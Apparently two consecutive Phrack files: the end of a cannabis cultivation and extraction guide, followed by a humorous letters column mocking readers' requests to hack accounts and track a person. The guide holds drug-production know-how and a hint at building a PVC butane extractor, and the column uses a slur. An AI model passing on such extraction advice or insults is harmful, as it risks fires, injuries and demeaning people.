Required pH will depend entirely on your medium. In pure hydro/aero setups, this is 5.6‑5.8 for veg and 5.8‑6.0 for flowering. In coco coir, this is a bit higher: 6.0‑6.2 for veg and 6.2‑6.5 for flowering. In soil, it really depends on what's in the mix, but it usually ranges in 6.5‑6.8 for veg and 6.8‑7.0 for flowering. Cloning should be in between the values for veg and flowering (5.8 for hydro, 6.2 for coco, and 6.8 for soil).

pH mostly affects the nutrients that are available for the roots to absorb. The lower ranges increase nitrogen uptake, and the higher ranges increase phosphates. Since nitrogen is more important for veg and phosphate for flowering, this explains why the ranges are different for each phase. If pH varies by a point or two, it's not a big deal, but too strong in either direction can cause root‑burn as well as deficiencies in both macro and micronutrients.

Conductivity requirements depend on the age/size of the plant. I suggest starting with these maximums and steadily increasing for larger containers so long as no signs of problems occur: For soil/hydro: Cloning: 0.8/1.2 mS Vegging: 1.6/2.0 mS (containers up to 2 gallons) Flowering: 2.4/3.0 mS (containers up to 5 gallons)

In general, conductivity >3.0 mS can be dangerous, so above that range only increase once/week and only 0.1‑0.2 mS at a time.

0x06: Hydroponics

Hydro is awesome. Plants have the ability to grow continuously and at a very rapid pace, but they need extra care, and problems with nutrients or pH often occur so quickly that by the time you realize there's a problem it's usually too late. For first‑timers, I'd recommend coco coir. If you're ambitious, consider building your own aeroponic system. In general, there are two types of systems: recirculating, and drain‑to‑waste. I'll list each medium and give some details about which system is appropriate. For recirculating, you'll want to drain and change your reservoir at least once a week in addition to topping it off regularly, whereas if using a drain‑to‑waste system only topping off is necessary.

Coco coir:

Coco coir is a part of the coconut husk that by itself can take years to break down, hence its designation as a hydroponic medium. It's commonly used as bedding for worms. It's highly absorbent and expands to sometimes five times its dry volume when wet. It also holds air very well. Coco coir is nice because it's very difficult to over‑water your plants with it since it holds so much air, and the shrinking in between waterings adds additional air to the medium. Drain‑to‑waste is best for coco because bits of the medium will also drain out, and you don't want these clogging up your pump or lines. Depending on the size of the container and plants, coco requires 1‑3 feedings/day.

Rockwool:

Rockwool is woven fibers of rock made by Grodan. Rockwool is very absorbent, and it's easy to see when it is drying up. Like coco, rockwool is very porous and holds air very well. I prefer rockwool for cloning. Ebb and flow (flood and drain, recirculating) or drain‑to‑waste both work well with rockwool. Fast growing plants may require up to 5‑6 waterings/day depending on the size of medium. Timers come in handy here. For ebb and flow, flood for 10‑15 minutes, then drain. For drain‑to‑waste, feed as needed, allowing 5‑10% of the water feed to drain, ensuring complete saturation of the medium.

Hydroton, Perlite, or other Pebbles:

Hydroton is a manufactured expanded‑clay medium. Perlite is a volcanic glass/rock, also expanded, and very porous. Both are better than filling a container with rocks/pebbles, although you could do that if you're really trying to save money. Hydroton and perlite do hold some water, but they drain very quickly and so should not be left without water for an extended period of time.

Ebb and flow or continuous drip work well here. Drain‑to‑waste is very inefficient since the medium doesn't hold water for very long, and so very accurate timings would be needed to prevent excessive waste. If using a continuous drip, consider aerating the reservoir with an air pump to ensure roots have access to oxygen. For ebb and flow, flood at least 1‑2 times per hour with no more than 15 minutes of dry time.

Aeroponic

Aeroponic growing is sweet. There's little‑to‑no chance of overwatering or underwatering (unless your pump breaks) as the roots always have access to water, nutrients, and air. For this, you'll need to contruct a sprayer assembly inside a reservoir. Rubbermaid containers are cheap and work well. cut 2" holes in the lid (or whatever size gasket you have) and fill the holes with cylindrical foam gaskets to hold the plants. Plant roots hang down freely into the reservoir. Construct the sprayer assembly using PVC piping and small 180‑ and 360‑degree sprayers depending on placement. The assembly should be as short as possible but have at least 2‑3 inches above the pump and below the sprayers at the top. Use a submersible pump, and fill the reservoir to above the pump but below the sprayers. You will need an NFT (Nutrient Film Technique) style timer for the pump. These typically operate on cycles of 1 minute on and 4 minutes off or 3 minutes on and 5 minutes off. I've seen cheap adjustable ones on Ebay. You can also make one yourself with an arduino and a relay pretty easily. Just make sure that the cycle allows for time in between sprayings to provide the roots access to air. An air pump here also works well.

Deep Water Culture:

DWC is simple, easy, and efficient. It's basically an aeroponic system but with a much deeper reservoir, allowing the roots to grow down into the nutrient solution. A sprayer system similar to the aeroponic one described above can be used, or a top‑drip works as well. For a top‑drip, fill a pot with Hydroton or another medium, and set the pump to continuously pump feed from the reservoir underneath to the pot on top. An aerator for the nutrient solution is necessary here so that roots hanging down into the solution have access to air.

Aquaponic:

When I first read about this I was blown away. Aquaponic combines hydro with an aquarium. Basically, you have a large reservoir with a DWC setup, but additionally you have fish living inside as well. The fish and plants eat each other's waste (just like in nature!), and they both feed on fish meal which is one of the most common organic plant foods. Guppies are usually the best choice for fish since they're cheap and reproduce quickly, although any freshwater fish will work.

0x07: Light

Light is arguably the most important factor in growing. Typically it is the most limiting factor. There are many different types of lights, and each has its own benefits. Halogen lights are most common in professional grows, fluorescents are cheap and efficient, and LEDs are gaining popularity. Here's some info on each:

Good ol' incandescents:

These provide light, they sure do, but they also provide heat. They're best used as supplemental light when you need the added heat as well, otherwise just go with a fluorescent.

Fluorescents:

Fluorescents come in many sizes, shapes, and spectrums. Spectrum is rated by color temperature in Kelvins. A 6500K light is usually recommended as it provides the closest spectrum to the Sun's white light. In general, the higher the K, the better. Fluorescents are great for all phases of growth, but they're best suited for clones, mothers, and vegetative plants when you have an HPS available for flowering. Even so, they're always great to consider as supplementals since they're so cheap and efficient.

Metal‑Hallides:

MH Halogens are extremely effective for the vegetative phase. They work for flowering as well, but are not as effective as HPS lights. A 400‑watt MH can cover a 3x3ft area, 600‑watt covers 4x4', and 1000‑watt covers 6x6'. Of course, additional light is nice.

High‑Pressure Sodium:

HPS lights are best for flowering. They have a spectrum more concentrated in the red/yellow end which plants tend to absorb more during the autumn season (when flowering). In every test I've ever seen, HPS lights outperform all other lights in flowering production, watt for watt (or lumen‑equivalent in the case of LEDs and fluorescents). HPS lights also generate a lot of heat, so keep that in consideration.

LEDs:

LED lights are extremely efficient, but they're also expensive. In the long run, they're worth it, but they can take a few cycles to pay themselves off. LEDs come in combinations of red and blue (more red for flowering), and sometimes other colors are added as well. If space permits, I'd still recommend using an HPS along with LEDs for flowering, but LEDs are great for the vegetative phase.

With all lights, the inverse‑square law applies, meaning if you cut the distance from light to plant in half, you quadruple the light received, and vice versa, if you double the distance you quarter the light received. Too much light can be a bad thing. Plants that are too small or do not have enough water/nutrients to use will not be able to use all the light that hits them and their leaves will burn. Also, there are areas close to the lights that are called hotspots. These are areas where reflected light is concentrated, and plants in these spots are more likely to burn since the light there is very intense. The rule‑of‑thumb is use your hand: if it's too hot for you, it's too hot for the plants.

0x08: Cloning

Cloning is the process of taking cuttings from a "mother" and allowing these cuttings to root into plants of their own. In addition to your mother plant, you'll need a sharp pair of snips, a humidity dome, cloning medium, filtered water, cloning gel/powder (optional), nutrients (optional but recommended), and a light that will be on 24‑hours/day (a single fluorescent is sufficient). Here is a step‑by‑step process:

Prepare your mothers by giving them plain water (along with a flushing solution if you like, a bit of molasses works well) at least a day before cutting clones. This helps flush out excess Nitrogen so that the clones can root more quickly.

Prepare the cloning solution. This can be plain water, but I like to add a mix of flowering nutrients (better than vegging nutrients for rooting, nitrogen is bad for cloning) and kelp and algae extracts. Balance the pH of the solution according to the medium you're using, and throoughly soak the medium. I use rockwool. Other alternatives are Groplugs, Coco, and soil. Any growing medium can work, really.I also like to keep a pool of solution in the bottom tray of the humidity dome to help keep the humidity high as well as provide food for the plants once they root. You can even allow the medium to soak for the first 3‑4 days of cloning to help speed up root growth, just be sure to drain it after that.

Cut the clones. I've cut both small and tall clones, and the small ones work very well too. Leave at least 2" (about 5cm) of stem underneath the highest leaves. You can trim leaves off to save space, if you want. This allows you to pack more clones inside the dome. Otherwise, I like to leave the leaves on (except for the bottom section that's inside the medium). You can place the clone directly in the medium, or you can shave and split the bottom. Splitting the bottom of the stem and shaving off the outer‑layer of the bottom of the stem increases the surface area of the cambium layer, kind of like a stemcell layer. From here is where the roots grow. Exposing more can increase the rooting time by a few days, but often you will get much more vigorous root growth. I prefer this method.

Dip the stem tip in cloning gel/powder, if you're using it (I don't), then plant the clones inside the medium, and cover the dome. If cutting many clones, I like to keep the dome partially covered (for those already planted) so they don't start wilting right away.

After they're all planted and the dome is covered, place the dome under a light that will be on 24‑hours/day. Clones need very little light to root, so a single fluorescent is sufficient here, or just some ambient light that will not be shut off.

Clones can take anywhere from 5‑14 days to root depending on the factors discussed above. I like to keep my clones rooting in the dome until their root masses are about a foot long, though the plants will still be short. This ensures the best chance of avoiding shock when transplanting as well as fairly explosive growth within a couple days of transplanting.

0x09: Vegging

Once clones have rooted, the vegetative phase begins. Most strains require at least 18 hours of light/day to prevent them from flowering, though some make require more, up to 24 hours/day. This is the easiest phase to grow in since the plants are vigorous and large enough to tolerate shock.

Transplant your clones into the medium of your choice, and begin feeding a mild nutrient solution. For soil gardens, plain water can be used for the first week. Increase the concentration of the nutrient solution over time to accomodate the size of the plant. Consider transplanting to a larger container after two weeks of continuous, vigorous growth.

Depending on your setup, you'll want a different target size of your veg plants. A sea of green, for instance, requires many plants next to each other so that they basically form a horizontal plane across their tops, but if you're growing in a small closet with 2‑3 plants then you'll probably want them as big as they can fit.

There are different stress‑techniques used to promote larger growth. Topping is one of the most common. Topping entails cutting off the newest growth of the highest node, generally without trimming much of the larger leaf matter. Topping forces the plant's vascular system to merge at this point, causing more growth nodes to be produced here at the top of the plant. Topping is a preferred method because the top buds of each branch are generally the largest, and more top nodes mean more top nugs.

Another technique used is bending. Bending entails taking the tallest branch of the plant and bending it down and to the side, usually tying it down with gardening wire or string. Bending exposes more of the lower nodes to direct light, causing them to grow larger. It also allows more buds to receive direct light, making it another preferred method by many growers.

Creasing and snapping branches are a form of "supercropping", and they combine the benefits of topping and bending. The idea is to break the inner part of a branch while keeping it attached to the plant. Lke topping, this causes a merging of the vascular system, and this section of branch later on will grow into a nice bulge. And like bending, the top nodes are pushed outward to allow more light to hit nodes underneath. It is usually best to bandage the plant after supercropping until it has completely healed since this technique can cause a good deal of damage to the plant if left unattended. It's usually best to delay flowering for a couple of weeks after supercropping to allow the plant to fully heal and build support for those super dank buds it'll be growing.

0x0A: Flowering

Once your plant has reached the desired size, it's time for flowering. Unless you're growing an autoflowering variety, the flowering cycle is typically triggered by a change in nighttime length, and most often a 12‑hour day/12‑hour night cycle is used. Some plants will grow considerably during the flowering phase, especially the African Sativas, so keep this in mind; you don't want to trim the plant once it's in full flower production as this causes considerable stress and can cause the female to produce some seeds.

For the first couple weeks of flowering, convert about half of your nutrient solution from the veg mix to the flower mix. Convert more to flowering as time passes. After 2‑3 weeks, a pure flowering mix should be used. Once the mass of pistils have formed, increase the nutrient concentration. Large, dense buds will develop, and some leaves may yellow and drop. Toward the end of the cycle, pistils will change color (often from white to orange/brown), and from here on consider flushing with plain water. Flushing leaches leftover fertilizer from inside the plant, giving it a much smoother burn. Plants that are harvested without flushing typically will have harsh smoke, even after curing.

At the end of the flowering phase, the crystals on the buds, pistils, leaves, and stems will first turn milky‑white. After this, they begin to brown. This is when they are ready to pick. Picking later will bring out more of the Indica characteristics (more CBD/CBN), whereas picking earlier will bring out more of the Sativa characteristics (more THC). Picking too early, however, (before crystals have become milky‑white) produces weak buds, and often will just give you a headache when smoked.

If after flushing the crystals do not appear to change color, feed them once more, with a full, strong solution, then continue flushing. Additional buds will likely grow, and they will be ready soon after.

0x0B: Harvest

Harvest the plants by cutting at the base, then hang them upside‑down (I dare you to try hanging them right‑side up....good luck) in a dark room to dry. A small amount of airflow is necessary, so keep a fan on low but not pointed directly at the plants. After at least one day of full darkness, you can begin trimming. Trim off all the largest leaf first, leaving the smaller, hashy leaves for manicuring later. If this trim does not have crystals/hash on it, discard it, otherwise save for extracts.

Manicuring is a bit of a longer process. You can go the quick route, and just trim the ends of the leaves sticking out like so many lazy‑ass growers do, or you can properly manicure your buds, making them look better and preventing you from smoking all that leaf matter. To manicure, use a pair of floral trimmers to reach in and cut the leaves at the base of the stem. This is uaully easier then holding the buds upside down since the leaves are below the buds. It takes practice and patience to avoid clipping off whole buds, but even if you do just save them along with the other manicured buds. After the leaf is clipped off, remove excess stem. If the stems fold when you try to break them, the buds are not dry yet; place them in a brown paper bag for further drying. Once they snap, place them in glass jars for curing. Also, save all the trim from manicuring for making extracts. You can place it in a ziploc bag and put it in the freezer until you're ready to make extracts.

Check on the glass jars once a day. Open each jar, and take a whiff. You'll notice over time how the smell changes. Check out the buds. Try snapping a stem. If it folds, either put the buds back in a paper bag, or keep the jar open a bit longer. For a quick, 2‑week cure, keep jars open 15‑60 minutes per day depending on dryness. If buds are dry, don't leave the jar open too long, but open it at least once a day to allow the air inside to exchange.

During the curing process, chemicals inside the buds break down, mainly those that cause harsh smoke. The longer the cure, the smoother the smoke is, but I can't say that anything longer than 8 weeks really makes a difference. Once the buds smell like they have cured, try smoking it. Continue the curing process until the smoke is smooth and clean.

0x0C: Extracts

Now here's the fun part. Personally, I like making kief, hash, and baked goods. Butane extracts are also pretty easy. I won't go into detail on those, but making a butane extractor with PVC and a lighter refill can is simple, and there are plenty of guides available online.

If you want to make butter or oil for cooking, you can use kief or hash you've already made and not worry about filtering, or you can use the trim in its entirety. If using trim, fill a pot with the amount of butter or oil you want to make. Add just enough water to the pot so that it won't splash or boil over, but otherwise more water doesn't hurt. Mix it all together, and add the trimmings. Simmer the mixture for a minimum of 2 hours and up to 24 hours ‑‑ I definitely notice a difference between 2 and 24, but I can't say where the threshold is in between. After it's done cooking, transfer the mixture through a strainer into another pot or bowl, and place this into the refrigerator. The oil or butter (along with the good stuff) will rise to the top, and the water will sit at the bottom. Since THC and the other chemicals are oil‑ but not water‑soluble, none of it should be lost in the water. If the oil hasn't solidified at all, placing it in the freezer for a little while should do the trick (too long and the water will freeze). Scoop out the oil or butter, and use for baking, or spread on toast!

Making water hash is pretty easy. Get yourself a set of extract bags (minimum 3) including at least either a 73‑ish or 90‑ish micron bag. In a set of 3 the others should be around 25 microns and at least 180 microns. Place each bag, smallest first, into a bucket, and fill the bucket with ice‑water. Add the trim, and mix for 15‑20 minutes with a kitchen or paint mixer. Let the mixture settle for about half an hour, then remove each bag one at a time. The first will remove the trim, and others after will have hash and/or contaminants, depending on how many bags you use. If the set comes with a screen, use the screen to press the water out of each mass of hash. Scrape the hash off and set aside to dry.

Even easier than water hash is what I like to call white‑trash hash. What comes out is really kief, but you can press the kief into hash if you want. Procure a large container, like a storage bin for a shelf. One with fairly high walls is good so it captures as much of the mess as possible. Take your 73‑micron bag, and put your trim inside. Fill the rest of the bag with broken‑up dry ice. Tie the bag off (hold it closed), and shake into the container until all the glorious beauty falls out. You may want to split into multiple sessions, the first being more pure and second‑grade after that, but I usually just shake until it looks like it's all out. What you end up with in the bag is a green, sloppy mush that you can go ahead and discard. The bin, however, is now full of wonderful kief. Smoke it now, or save it for later. Press a chunk into hash between your palms, or put some in a baggie in your shoe and walk on it until it turns into hash.

0x0D: Signs and Symptoms

I've saved the worst for last. Here are different signs and symptoms of various problems you may encounter.

Perfect: The sign of perfection is perky plants, solid to deep‑green colored (but not too dark). Leaves point upward at a 40‑60 degree angle and toward the light. Daily growth is visible. Pistils are perky but not crooked at the ends.

Over‑watering: leaves will curl downward, with the middle section being the highest, kind of like it's trying to be an umbrella. Wait as long as possible before watering again, and make sure to provide at least a mild nutrient solution especially if straight water was used at the previous watering.

Under‑watering: Can be similar to heat stress when it occurs frequently, but otherwise the leaves will lose perkiness and wilt, lying beside the stem and pointing downward. Pistils first show signs with crooked ends, and soon after they shrivel and change color. Make sure to fully soak the container after this occurs, the best way being a slow flow of water rather than gushing out of a watering can.

Heat‑stress: Leaves fold up and inward, especially at the edges. Fix by moving the light further away or reducing the temperature. Supplement with extra air flow and a small extra watering (straight water is usually best for this to prevent nutrient burn when coupled with heat stress).

Nitrogen deficiency: Leaves yellow to light‑green. Treat by increasing concentration of veg mix.

Nitrogen toxicity: Leaves very dark green, later start burning. Treat by reducing the concentration of veg mix.

Phosphorus toxicity: Leaves dark green (purple tint sometimes) and wilt, curling downward. Treat by reducing the concentration of flowering mix.

Various toxicities, deficiencies, pH burn: Chlorosis (dying plant matter) on various parts of leaves. Different styles signifiy different problems, but overall consider what changes have been made recently. Check pH of nutrient solution. Fix by flushing medium with a mild nutrient solution at proper pH. Avoid using supplements, just use a basic nutrient mix for the current phase. Treat a suspected deficiency with only a slight increase in what you think is needed. More often than not micronutrient dificiencies are only present when using synthetic nutrients and only when not using any other supplements. Mild deficiencies are not likely to show visible symptoms.

Bugs! Many different bugs will want to eat your plants. Some of the most annoying are aphids and spider mites. Insecticidal soap works well with aphids, and neem oil works extremely well with spider mites. For aphids, spray on site. Most soaps take care of them well. Also consider removing infected plant matter. For mites, spray thoroughly and afterward remove leaves with noticeable spots since these 90%+ of the time have eggs. Neem will kill the mites but not the eggs. Spray again 2‑3 days later and again a week after the first. Afterward, inspect daily and spray as needed. Grasshoppers eat the leaves. Sorry Mr. Grasshopper, but you gotta die. Pick them off and get rid of them however you choose. Caterpillars eat everything, especially the buds. Inspect dying bud matter for caterpillars, and remove those found. Spray with a Bt solution ‑‑ it's a bacteria that when eaten causes the caterpillars to stop eating. These methods are all organic (or available as organic). Use synthetic pesticides only in severe cases, and only before buds begin forming. Both the insecticidal soap and neem oil can be washed and rinsed off with regular soap at harvest if necessary.

Mold! Mold sucks. Bud mold is highly infective and destructive. Bud mold is characterized by grey/black along the stem and spreads quickly. Remove entire affected plants immediately. Place in quarantine until sure of the diagnosis, then destroy any infected plants. Powdery mildew is annoying but treatable. It is easy to spot ‑‑ visible white spots with a powdery look on top of leaves. Treat by spraying with a baking soda solution and increasing air flow. Decrease humidity for up to a week after symptoms disappear if possible.

0xFF ‑ Fin

That concludes this guide. I hope you've enjoyed reading it, and I hope you're now ready to grow some super ultra dank megabuds.

Loopback

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x05 of 0x13

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L O O P B A C K ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi there!

The least we could say is that p67 caught the attention of a lot of people. We got a very good feedback both IRL, on IRC and through the comments on the website. Good. As you will soon find out, we had quite a bunch of (un)interesting mails this year which we would like to share obviously ;> Before going further, a quote from the last loopback is necessary:

‑‑‑

We humbly apologize to all guys we never answered to neither by mail nor through this phile because we suck at filtering our spam (this could _absolutely_ not be a laziness issue, right?)

‑‑

That said, we have to thank all the people that (un)voluntarily sent their contributions, whatever these were.

As you will see, a polemic started with the release of the last scene phile as several people felt a bit disappointed (to say the least) by the description of the gr33k scene.

So let's explain a few things about the context of its writing: ‑ The writing itself is small and oriented because the authors didn't have the time to do better.

‑ We (the phrack staff) are the ones who asked them for such a phile and being in a hurry we couldn't give more than a couple of weeks to the authors. Clearly they *SAVED* our sorry ass and they did it for you, the community. Sincere apologies of the staff if this was not good enough.

‑ (Greek) people may argue that the description was not accurate itself but as you can remember, it was written with the idea of being completed in this release:

Volume 0x0e, Issue 0x43, Phile #0x10 of 0x10

‑‑‑

In this brief article we will attempt to give an overview of the current state of the Greek computer underground scene. However, since the strictly underground scene in Greece is very small, we will also include some information about other active IT security related groups and forums. There is a going to be a second part to this article at a future issue in which we will present in detail the past of the underground Greek scene in all its gory glory. ‑‑‑

And they kept their promise with the help of some notorious big shots of the greek hacking scene.

To the bunch of losers/masturbating monkeys who are still complaining:

/"\

|\./|

| |

| |

|>~<|

| |

/'\| |/'\

/~\| | |

| =[@]= |

| | | |

| ~ ~ ~ ~

|

\

\

\ _____

|‑‑//''`\‑‑|

| (( +==)) |

|‑‑\_|_//‑‑|

Don't worry, we published your side of the story as well. And now is time for our little ... hem ... group therapy session ;‑)

‑‑ The Phrack Staff

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x00 ‑ Phrack .VS. the social networks ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

From: Unix Root <1161967623738704101@mail.orkut.com>

Subject: orkut ‑ Unix Root wants you to join orkut!

Unix Root wants you to join orkut.

[ Unix Root himself, seriously? ]

Join now!

http://www.orkut.co.in/Join.aspx?id=ZZZZZZZZZZZZZZ&mt=22

[ id has been replaced to protect the innocent (us) ]

* * *

What you can do on orkut:

‑ CONNECT with friends and family using scraps and instant messaging ‑ DISCOVER new people through friends of friends and communities ‑ SHARE your videos, pictures, and passions all in one place

[ Sounds like it would change my life. ]

Help Center: http://help.orkut.com/support/

[ To tell you the truth, help won't be necessary at this point :> ]

‑‑

From: ***** ***** <thehackernews@gmail.com>

Subject: Invitation to connect on LinkedIn

LinkedIn

‑‑‑‑‑‑‑‑‑‑‑‑

I'd like to add you to my professional network on LinkedIn.

‑ *****

[ What if we do not intend to do business with you? ]

**** ****

Owner at The Hacker News

New Delhi Area, India

Confirm that you know **** ***** https://www.linkedin.com/e/xxxxxx‑wwwwwwww‑2h/isd/YYYYYYYYYYY/PPP_OOO/

‑‑

(c) 2011, LinkedIn Corporation

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x01 ‑ <?php include($teaMp0isoN) ?> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

From: Poison Blog <p0isonblog@ymail.com>

Subject: TeaMp0isoN: Issue 1

My first ever zine, read it and let me know what you think. hoping it gets published in the next phrack magazine.

[ Hem. So basically this is a new concept: publishing a zine inside another zine. And we even got 0day‑hashes in the process. WIN/WIN ]

‑ TriCk

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x02 ‑ The usual mails ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

[ Have you ever been curious about the kind of mail we are used to receive? Let's have a taste. ]

‑‑

From: skywalker <oyyj07@gmail.com>

Subject: how can I get the source code

hello, I found some source code in phrack Magazine, but it is attach with text mode, how can I get it?

[ Download the paper in "text mode". Then comment everything inside that is not the code you want to compile and fire gcc. It might work. If it doesn't mail nikoletaki_87@yahoo.gr for help. ]

‑‑

From: Nikol Eleutheriou <nikoletaki_87@yahoo.gr>

Subject: Phrack issue 58

How can i get the binary‑encryption.tar.gz

from the article Runtime binary encryption?

[ You can't; it's encrypted. I think oyyj07@gmail.com has the password. You should get in touch with him. ]

‑‑

From: stephane.camprasse@free.fr

Subject: edition 64 infected by OSX:Niqtana

Hello there,

tar.gz of the magazine number 64 appears to be infected:

http://www.sophos.com/en‑us/threat‑center/threat‑analyses/

viruses‑and‑spyware/OSX~Niqtana‑A/detailed‑analysis.aspx

[ Wow. Sounds like a serious issue. What should we do? ]

Kind Regards

Stephane Camprasse, CISSP

[ At first we wanted to laugh, then we saw you are serious business. ]

‑‑

From: Domenico ****** <jmimmo82@gmail.com>

Subject: Mailing Lists Phrack

Dear Phrack Staff

I would like to subscribe at mailing lists of Phrack but email addresses provided by the site not exist.

[ That's because there is no ML, dude. ]

What do you advise me?

[ Well, keep looking. ]

Best Regards

Domenico *******

‑‑

From: Robert Simmons <rsimmons0@gmail.com>

Subject: phrack via email

Do you have a mailing list that sends phrack out via email, or at least an email reminder to go download it?

[ We don't. What would be the point in a bloggo/twitto world where information spreads that fast? ]

Rob

‑‑

From: Elias <thesaltysalmon@gmx.com>

Subject: How do i subscribe?

As the title says, how do i subscribe to Phrack?

[ Since you're not polite we won't accept your subscription. Don't mail us again. Please. ]

‑‑

From: William Mathis <scotti@uniss.it>

Subject: One paper can change everything!

[ New submission???? :D ]

What do I mean? Of course the Diploma.

[ 0wned. Deception is part of the game :‑/ ]

It is no secret that the knowledge, skills and experience play a crucial role in getting the desired position, but despite the formality when applying for a job essential requirement is a diploma! At the moment receive a diploma is very expensive, takes time and power.

ORDER DIPLOMA RIGHT NOW AND RAISE THE PROFESSIONAL LEVEL, SKILLS AND EXPERIENCE!

[ Can we send our order in via PDF? You have to open it with Acroread 9.x though, since you're only worth an 0lday to us. Thank you for playing "rm me harder" w/ phrackstaff! ]

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x03 ‑ Desperate house wifes ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

From: Luna Tix <lunatix@linuxmail.org>

Subject: A request regarding pdf files

[ Our resident Adobe consultant is currently on holidays. We do have our .txt specialists however. ]

Hi,

I have downloaded some adobe 3d files from a website, and need them to be converted into autodesk inventor ipt files.

[ You've knocked on the right door. ]

Can you teach me how to do this? If yes, I can send you some of the files for trial, if you are successful, I am willing to pay for it.

[ Excellent! How much can you pay exactly? Our local liquor store no longer accepts PDF conversion techniques in exchange for beer. ]

All the best.

Luna

‑‑

From: sabrina <sabrina*******@gmail.com>

Subject: don't know where to go

hi,

i'm in need of someone to help me in a cyber cat burglar kind of way. i've tried all the legal ways... police, fbi, fed trade commission all to busy with terrorist.

[ Now that they've caught Osama, they should have some free time. Try to contact them again. ]

i can go to a detective then civil lawyer but that would take way too mush time and an exorbitant amount of money.

[ Clearly, you've mistaken us for the cheap option. ]

i need someone to find information

on exactly where someone is located. i have email address, cell phone and bank account numbers ...

[ Do you have GPS coordinates? ]

I'm hoping to find or at least be lead to some one who is very creative in using their computer. my only goal is to locate this person, i'm not out to steal or do any harm.

[ I know some very creative people. They compose music on their computer! For realz! Would that help you? ]

if you think you can help me i'll give you my phone number, i can then better explain why this way for me would be the only way to go, i lost 20 years of my life's hard work, i just want to locate this person.

[ Wow, sorry for being so hard on you with the previous comments, Sabrina. It is obvious to us now that you are clearly retarded. Please leave a comment on the website with your phone number. We'll get back to you. ]

thank you

sabrina

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x04 ‑ Cooperation ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

From: Monika ****** <monika.******@software.com.pl>

Subject: cooperation

Dear Sir or Madam

[ It's professor actually. ]

My name is Monika *********. I represent Hakin 9'‑ IT Security magazine (for more details, please see our website www.hakin9.org). I would be very much interested in long term cooperation with your company.

[ Our company? :D ]

We would co‑promote our services and spread the information on IT Security together.

[ Well the problem is that we don't have that many services: ‑ 7‑bit cleaning of ASCII papers, we are considered the market leaders in this service

‑ Spam hunting with advanced regexp (i.e. matching ANTISPAM in the subject)

‑ Mail storage, no backups though :(

‑ Technical review of papers when we understand them See? That's not too much :‑/

But thanks for the kind offer. PHRACK could totally use the promotion of such a well established magazine as h8king (or whatever). ]

I am really looking forward to hearing from you.

[ Don't call us, we'll call you! ]

Best Regards,

Monika ********

Software Press

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x05 ‑ Help is requested! (again) ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

From: Kevin **** <********@att.net>

Subject: Help with Persistent BIOS Infection

Hope you can help. I have a small video business and from my son's school flashdrive my network of computers are infected with Persistent BIOS Infection. My hard drive's have been rearranged with FAT segments and i believe is running my XP/Win7 OS's as a virtual machine.

[ Unfortunately Joanna is not part of the staff. But we have the feeling that your analysis of the situation could be improved :> ]

This has caused my rendering performance to be ruduced by 50%. Also when i make DVD's the infection is on the disc and from complants it infected other machines. My software is legit and i don't download anything.

[ Of course. Who does anyway? Your son perhaps :> ]

I'm new (6yrs) to computers, i some what know what to do but not really.

[ So you know but you don't know. That's good, have the half of you that knows guide the other half that doesn't. You can't go wrong. ]

I have killed my network and now keep all computers separate but know somehow i will get the infection back.

[ You killed the poor network? :‑/ ]

Could someone make me a batch file or better yet a ISO to boot and fix my Bios and memory so it has Persistent BIOS Infection that is null. Giving back my rendering power. Making it so i can't get this infection again.

[ Just a thought: maybe if you didn't run arbitrary batch files that "someone" sent you, you wouldn't have this problem in the first place. But most probably that's not it. It must be a 'Persistent BIOS Infection' problem. ]

Maybe send me a zip file to my email address. Pleezz

I would be more than happy to donate for the cause.

[ And yet another person willing to give us money. We should really run a company :D ]

Thank You

Kevin ****

*******@att.net

‑‑

From: shashank **** <**********@gmail.com>

Subject: hey

hey,

i was searching some hacking forums site, & found one of the "phrack Magazine".

[ Then you failed. It's not a forum kid :) ]

It was pretty interesting. Can you help me out on how to hack Steam Account.

